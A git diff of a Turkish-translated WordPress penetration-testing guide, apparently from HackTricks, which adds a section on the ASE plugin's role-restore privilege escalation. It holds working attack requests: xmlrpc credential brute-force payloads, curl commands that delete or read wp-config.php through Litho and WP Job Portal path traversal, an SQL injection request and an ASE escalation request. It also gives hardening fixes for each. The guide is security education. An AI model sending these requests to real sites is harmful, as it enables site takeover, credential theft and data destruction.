Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-18 16:35:48 +00:00
parent 34b6cf6438
commit 18b7400ef5

View File

@ -5,7 +5,7 @@
## Temel Bilgiler ## Temel Bilgiler
- **Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve teması** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **theme twentytwelve** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Başka bir yararlı url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Başka bir yararlı url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
@ -22,7 +22,7 @@
- `/wp-admin/wp-login.php` - `/wp-admin/wp-login.php`
- `/login.php` - `/login.php`
- `/wp-login.php` - `/wp-login.php`
- `xmlrpc.php` HTTP'nin taşıma mekanizması olarak ve XML'nin kodlama mekanizması olarak işlev gördüğü WordPress'in bir özelliğini temsil eden bir dosyadır. Bu tür bir iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir. - `xmlrpc.php` HTTP'nin taşıma mekanizması olarak ve XML'nin kodlama mekanizması olarak işlev gördüğü bir özellik olan WordPress'in bir dosyasıdır. Bu tür bir iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
- `wp-content` klasörü, eklentilerin ve temaların saklandığı ana dizindir. - `wp-content` klasörü, eklentilerin ve temaların saklandığı ana dizindir.
- `wp-content/uploads/` Platforma yüklenen dosyaların saklandığı dizindir. - `wp-content/uploads/` Platforma yüklenen dosyaların saklandığı dizindir.
- `wp-includes/` Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir. - `wp-includes/` Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
@ -30,7 +30,7 @@
**Sonrası istismar** **Sonrası istismar**
- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu verileri içerir; veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir. - `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön ekini içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir.
### Kullanıcı İzinleri ### Kullanıcı İzinleri
@ -40,11 +40,11 @@
- **Katkıda Bulunan**: Kendi gönderilerini yazar ve yönetir ancak yayınlayamaz - **Katkıda Bulunan**: Kendi gönderilerini yazar ve yönetir ancak yayınlayamaz
- **Abone**: Gönderileri tarar ve profilini düzenler - **Abone**: Gönderileri tarar ve profilini düzenler
## **Pasif Sıralama** ## **Pasif Sayım**
### **WordPress sürümünü öğrenin** ### **WordPress sürümünü öğrenin**
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin. `/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin
Sayfanın **kaynak kodu** içinde (örnek [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) adresinden): Sayfanın **kaynak kodu** içinde (örnek [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) adresinden):
@ -79,7 +79,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Eklentiler ve Temalar ### Eklentiler ve Temalar
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini Aktif olarak Brute Force yapmanız** gerekecek (umarız bizim için bu listeleri içeren otomatik araçlar var). Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini aktif olarak Brute Force etmeniz** gerekecek (umarız ki bu listeleri içeren otomatik araçlar var).
### Kullanıcılar ### Kullanıcılar
@ -120,7 +120,7 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den
**Kimlik Bilgileri Kaba Kuvvet** **Kimlik Bilgileri Kaba Kuvvet**
**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** kimlik bilgilerini kaba kuvvetle kırmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz: **`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** kimlik bilgilerini kaba kuvvetle elde etmek için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz:
```html ```html
<methodCall> <methodCall>
<methodName>wp.getUsersBlogs</methodName> <methodName>wp.getUsersBlogs</methodName>
@ -166,13 +166,13 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol
</params> </params>
</methodCall> </methodCall>
``` ```
Ayrıca, aynı istekte birkaç kimlik bilgisi denemek için **`system.multicall`** kullanarak kimlik bilgilerini brute-force yapmanın **daha hızlı bir yolu** vardır: Ayrıca, **`system.multicall`** kullanarak kimlik bilgilerini brute-force yapmak için **daha hızlı bir yol** vardır, çünkü aynı istekte birkaç kimlik bilgisi deneyebilirsiniz:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**2FA'yı Atlatma** **2FA'yı Atlatma**
Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, **bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz**. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)ıklamasında olduğu gibi RCE'ye ulaşmanız hala mümkün olabilir. Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, **bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz**. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in ıkladığı gibi RCE'ye ulaşmayı hala başarabilirsiniz [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS veya port taraması** **DDoS veya port taraması**
@ -227,7 +227,7 @@ Bu çalışmadığında alınan yanıt:
https://github.com/t0gu/quickpress/blob/master/core/requests.go https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}} {{#endref}}
Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve eğer mevcutsa, bunları istismar etmeye çalışır. Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve varsa, bunları istismar etmeye çalışır.
## Automatic Tools ## Automatic Tools
```bash ```bash
@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
``` ```
## Bir biti üzerine yazarak erişim elde et ## Bir biti üzerine yazarak erişim elde et
Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP (`!`) işlemini devre dışı bırakmak için değiştirebilirsiniz. Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP yapmak için NOT (`!`) işlemini değiştirebilirsiniz.
```php ```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error( return new WP_Error(
@ -252,7 +252,7 @@ Bir php shell için içeriği değiştirin:
![](<../../images/image (384).png>) ![](<../../images/image (384).png>)
Bu güncellenmiş sayfaya nasıl erişebileceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) Bu güncellenmiş sayfaya nasıl erişeceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF ### MSF
@ -279,7 +279,7 @@ Eklentiyi yükleyin ve Şimdi Yükle'ye basın:
![](<../../images/image (249).png>) ![](<../../images/image (249).png>)
Devam et'e tıklayın: Devam Et'e tıklayın:
![](<../../images/image (70).png>) ![](<../../images/image (70).png>)
@ -301,11 +301,11 @@ Bu yöntem, bilinen bir zafiyete sahip kötü niyetli bir eklentinin yüklenmesi
- İndirilen eklentinin zip dosyasını yükleyin. - İndirilen eklentinin zip dosyasını yükleyin.
3. **Eklenti Etkinleştirme**: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir. 3. **Eklenti Etkinleştirme**: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir.
4. **İstismar**: 4. **İstismar**:
- "reflex-gallery" eklentisi yüklendiğinde ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir. - "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir.
- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir. - Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
- Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir. - Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir.
İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal izin olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi sorumlu bir şekilde kullanılmalıdır. İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal yetki olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi sorumlu bir şekilde kullanılmalıdır.
**Daha ayrıntılı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) **Daha ayrıntılı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -376,7 +376,7 @@ WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` ka
2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve 2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve
3. **Sıkı girdi temizleme / doğrulama**. 3. **Sıkı girdi temizleme / doğrulama**.
Litho çok amaçlı teması (< 3.1) *Font Ailesini Kaldır* özelliğinde bu 3 kontrolü unuttu ve aşağıdaki kodu (basitleştirilmiş) gönderdi: Litho çok amaçlı tema (< 3.1) *Font Ailesini Kaldır* özelliğinde bu 3 kontrolü unuttu ve aşağıdaki kodu (basitleştirilmiş) gönderdi:
```php ```php
function litho_remove_font_family_action_data() { function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) { if ( empty( $_POST['fontfamily'] ) ) {
@ -399,17 +399,17 @@ Bu kod parçasının neden olduğu sorunlar:
* **Kimlik doğrulaması yapılmamış erişim** `wp_ajax_nopriv_` kancası kaydedilmiştir. * **Kimlik doğrulaması yapılmamış erişim** `wp_ajax_nopriv_` kancası kaydedilmiştir.
* **Nonce / yetki kontrolü yok** herhangi bir ziyaretçi uç noktayı kullanabilir. * **Nonce / yetki kontrolü yok** herhangi bir ziyaretçi uç noktayı kullanabilir.
* **Yol sanitizasyonu yok** kullanıcı tarafından kontrol edilen `fontfamily` dizesi, filtreleme olmadan bir dosya sistemi yoluna eklenir ve klasik `../../` geçişine izin verir. * **Yol sanitizasyonu yok** kullanıcı tarafından kontrol edilen `fontfamily` dizesi, filtreleme olmaksızın bir dosya sistemi yoluna eklenir ve klasik `../../` geçişine izin verir.
#### Sömürü #### Sömürü
Bir saldırgan, tek bir HTTP POST isteği göndererek **yüklemeler ana dizininin altında** (normalde `<wp-root>/wp-content/uploads/`) herhangi bir dosyayı veya dizini silebilir: Bir saldırgan, tek bir HTTP POST isteği göndererek **yüklemeler ana dizininin** (normalde `<wp-root>/wp-content/uploads/`) altında herhangi bir dosya veya dizini silebilir:
```bash ```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \ -d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php' -d 'fontfamily=../../../../wp-config.php'
``` ```
Çünkü `wp-config.php` *uploads* dışında yer alır, varsayılan bir kurulumda dört `../` dizini yeterlidir. `wp-config.php` dosyasını silmek, WordPress'i bir sonraki ziyarette *kurulum sihirbazı* moduna zorlar ve tam bir site ele geçirme olanağı sağlar (saldırgan yalnızca yeni bir DB yapılandırması sağlar ve bir admin kullanıcısı oluşturur). Çünkü `wp-config.php` *uploads* dışında yer alır, varsayılan bir kurulumda dört `../` dizini yeterlidir. `wp-config.php` dosyasını silmek, WordPress'i bir sonraki ziyarette *kurulum sihirbazı* moduna zorlar ve tam site ele geçirme imkanı tanır (saldırgan yalnızca yeni bir DB yapılandırması sağlar ve bir admin kullanıcısı oluşturur).
Diğer etkili hedefler arasında güvenlik eklentilerini kırmak için eklenti/tema `.php` dosyaları veya `.htaccess` kuralları bulunmaktadır. Diğer etkili hedefler arasında güvenlik eklentilerini kırmak için eklenti/tema `.php` dosyaları veya `.htaccess` kuralları bulunmaktadır.
@ -440,7 +440,71 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
``` ```
> [!TIP] > [!TIP]
> **Her zaman** diskteki herhangi bir yazma/silme işlemini ayrıcalıklı olarak değerlendirin ve iki kez kontrol edin: > **Her zaman** diskteki herhangi bir yazma/silme işlemini ayrıcalıklı olarak değerlendirin ve iki kez kontrol edin:
> • Kimlik Doğrulama • Yetkilendirme • Nonce • Girdi temizleme • Yol sınırlama (örneğin, `realpath()` artı `str_starts_with()` ile). > • Kimlik doğrulama • Yetkilendirme • Nonce • Girdi temizleme • Yol sınırlaması (örneğin, `realpath()` ve `str_starts_with()` ile).
---
### Eski rol geri yüklemesi ve eksik yetkilendirme yoluyla ayrıcalık yükseltme (ASE "Rol Olarak Yönetici Görüntüle")
Birçok eklenti, orijinal rol(ler)i kullanıcı meta verisinde saklayarak "rol olarak görüntüle" veya geçici rol değiştirme özelliği uygular, böylece daha sonra geri yüklenebilir. Eğer geri yükleme yolu yalnızca istek parametrelerine (örneğin, `$_REQUEST['reset-for']`) ve bir eklenti tarafından yönetilen bir listeye dayanıyorsa ve yetenekler ile geçerli bir nonce kontrolü yapılmıyorsa, bu dikey ayrıcalık yükseltmesine dönüşür.
Gerçek bir dünya örneği, Admin ve Site Geliştirmeleri (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Sıfırlama dalı, `reset-for=<kullanıcı_adı>` temelinde rolleri geri yükledi, eğer kullanıcı adı içsel bir dizide `$options['viewing_admin_as_role_are']` görünüyorsa, ancak mevcut rolleri kaldırmadan ve kullanıcı meta verisinden `_asenha_view_admin_as_original_roles` kaydedilen rolleri yeniden eklemeden önce ne `current_user_can()` kontrolü ne de nonce doğrulaması gerçekleştirdi:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Neden istismar edilebilir
- Sunucu tarafı yetkilendirmesi olmadan `$_REQUEST['reset-for']` ve bir eklenti seçeneğine güveniyor.
- Eğer bir kullanıcı daha önce `_asenha_view_admin_as_original_roles` içinde daha yüksek yetkilere sahipti ve yetkileri düşürüldüyse, sıfırlama yoluna tıklayarak bunları geri alabilir.
- Bazı dağıtımlarda, herhangi bir kimlik doğrulama yapılmış kullanıcı, `viewing_admin_as_role_are` içinde hala mevcut olan başka bir kullanıcı adı için sıfırlama tetikleyebilir (bozuk yetkilendirme).
Saldırı ön koşulları
- Özellik etkinleştirilmiş savunmasız eklenti sürümü.
- Hedef hesabın daha önceki kullanımından kalan eski yüksek yetkili bir rolü kullanıcı meta verisinde saklı.
- Herhangi bir kimlik doğrulama oturumu; sıfırlama akışında eksik nonce/yetki.
İstismar (örnek)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Zayıf yapılandırmalarda, mevcut roller kaldırılır ve kaydedilmiş orijinal roller (örneğin, `administrator`) yeniden eklenir, bu da yetkilerin yükseltilmesine neden olur.
Tespit kontrol listesi
- Kullanıcı meta verilerinde “orijinal roller”i sürdüren rol değiştirme özelliklerini arayın (örneğin, `_asenha_view_admin_as_original_roles`).
- Şu yolları belirleyin:
- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST`'dan okuyun.
- `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan `add_role()` / `remove_role()` ile roller üzerinde değişiklik yapın.
- Aktörün yetenekleri yerine bir eklenti seçenek dizisine (örneğin, `viewing_admin_as_role_are`) dayalı olarak yetkilendirin.
Güçlendirme
- Her durum değiştiren dalda yetenek kontrollerini zorunlu kılın (örneğin, `current_user_can('manage_options')` veya daha katı).
- Tüm rol/izin değişiklikleri için nonce gerektirin ve bunları doğrulayın: `check_admin_referer()` / `wp_verify_nonce()`.
- İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında kimlik doğrulanan aktöre ve açık politikaya dayalı olarak çözün.
- Eski yüksek yetki geri yüklemelerini önlemek için profil/rol güncellemelerinde “orijinal roller” durumunu geçersiz kılın:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Minimal durum saklamayı ve geçici rol değişiklikleri için zaman sınırlı, yetenek korumalı token'lar kullanmayı düşünün.
--- ---
@ -448,7 +512,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
### Düzenli Güncellemeler ### Düzenli Güncellemeler
WordPress, eklentiler ve temaların güncel olduğundan emin olun. Ayrıca wp-config.php dosyasında otomatik güncellemenin etkin olduğunu doğrulayın: WordPress, eklentiler ve temaların güncel olduğundan emin olun. Ayrıca wp-config.php dosyasında otomatik güncellemenin etkinleştirildiğini doğrulayın:
```bash ```bash
define( 'WP_AUTO_UPDATE_CORE', true ); define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_plugin', '__return_true' );
@ -504,7 +568,6 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
``` ```
Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir, bu da SQLi'yi kanıtlar. Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir, bu da SQLi'yi kanıtlar.
### Kimlik Doğrulaması Yapılmamış Keyfi Dosya İndirme / Yol Traversali (WP Job Portal <= 2.3.2) ### Kimlik Doğrulaması Yapılmamış Keyfi Dosya İndirme / Yol Traversali (WP Job Portal <= 2.3.2)
Başka bir görev, **downloadcustomfile**, ziyaretçilerin **diskteki herhangi bir dosyayı** yol traversali ile indirmesine izin veriyordu. Açık nokta `modules/customfield/model.php::downloadCustomUploadedFile()` içinde bulunmaktadır: Başka bir görev, **downloadcustomfile**, ziyaretçilerin **diskteki herhangi bir dosyayı** yol traversali ile indirmesine izin veriyordu. Açık nokta `modules/customfield/model.php::downloadCustomUploadedFile()` içinde bulunmaktadır:
@ -524,11 +587,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \ --data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php' --data-urlencode 'file_name=../../../wp-config.php'
``` ```
Sunucu, `wp-config.php` dosyasının içeriğiyle yanıt verir, DB kimlik bilgilerini ve kimlik doğrulama anahtarlarını sızdırır. Sunucu, `wp-config.php` dosyasının içeriğiyle yanıt veriyor ve DB kimlik bilgileri ile auth anahtarlarını sızdırıyor.
## Referanslar ## Referanslar
- [Litho Temasında Kimlik Doğrulaması Olmadan Rastgele Dosya Silme Açığı](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Litho Temasında Kimlik Doğrulaması Olmadan Rastgele Dosya Silme Açığı](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [WP İş Portalı Eklentisinde Birden Fazla Kritik Açık Yamanmıştır](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) - [WP Job Portal Eklentisinde Birden Fazla Kritik Açık Yamanmıştır](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [100k+ Siteyi Etkileyen ASE Eklentisinde Nadir Görülen Yetki Yükseltme Durumu](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 değişiklik seti profil güncellemesinde orijinal rolleri sil](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}